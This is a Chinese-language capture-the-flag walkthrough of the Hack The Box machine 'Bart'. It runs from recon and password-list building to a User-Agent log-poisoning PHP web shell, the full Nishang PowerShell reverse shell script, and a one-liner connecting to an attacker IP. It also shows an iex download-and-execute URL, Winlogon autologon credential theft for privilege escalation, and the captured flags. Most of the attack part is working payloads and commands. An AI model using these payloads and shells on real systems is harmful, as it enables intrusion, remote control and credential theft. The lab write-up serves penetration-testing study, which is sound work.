信息收集

$ nmap -p- 10.10.10.81 --min-rate 1000 -sC -sV

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP

$ curl 10.10.10.81 -I

# echo '10.10.10.81 bart.htb forum.bart.htb' >> /etc/hosts

http://forum.bart.htb/

$ feroxbuster --url http://bart.htb/

samantha
daniel
robert
harvey
daniella

从主页上收集密码

$ cewl -w password.txt -e -a http://forum.bart.htb

username:harvey password:potter

# echo '10.10.10.81 monitor.bart.htb' >> /etc/hosts

# echo '10.10.10.81 internal-01.bart.htb' >> /etc/hosts

http://internal-01.bart.htb/simple_chat/login_form.php

https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat

$ curl -d "uname=maptnh&passwd=WHOAMI123" -X POST http://internal-01.bart.htb/simple_chat/register.php

UA投毒

该函数会向指定的服务器端接口发送请求以记录日志，并且会提前弹出“Done”消息，但实际日志的保存与否要取决于服务器的响应。

http://internal-01.bart.htb/log/log.txt

http://internal-01.bart.htb/log/log.php?filename=log.htm&username=harvey

当我们给出的文件后缀改变时,保存的文件类型也随之改变

GET /log/log.php?filename=rev.php&username=harvey HTTP/1.1
Host: internal-01.bart.htb
User-Agent: <?php system($_GET[1]);phpinfo(); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=t42g449reqtl5lgqhfachmr632
Upgrade-Insecure-Requests: 1

http://internal-01.bart.htb/log/rev.php

function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.17',10033);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

http://internal-01.bart.htb/log/rev.php?1=powershell%20-Command%20%22iex%20(New-Object%20Net.WebClient).DownloadString(%27http://10.10.16.17/Invoke-PowerShellTcp.ps1%27)%22

权限提升 ：Winlogon

PS C:\inetpub\wwwroot\internal-01\log> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

DefaultDomainName    REG_SZ    DESKTOP-7I3S68E
DefaultUserName    REG_SZ    Administrator
DefaultPassword    REG_SZ    3130438f31186fbaf962f407711faddb

PS C:\inetpub\wwwroot\internal-01\log> $username = "BART\Administrator"
PS C:\inetpub\wwwroot\internal-01\log> $password = "3130438f31186fbaf962f407711faddb"
PS C:\inetpub\wwwroot\internal-01\log> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\inetpub\wwwroot\internal-01\log> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\inetpub\wwwroot\internal-01\log> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
PS C:\inetpub\wwwroot\internal-01\log> Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.16.17/Invoke-PowerShellTcp.ps1') } -Credential $cred -Computer localhost

User.txt

586a8d51938faf4c7933bf01a3d133bd

Root.txt

4dd674244719d9ba4c64e8f550c7f2d2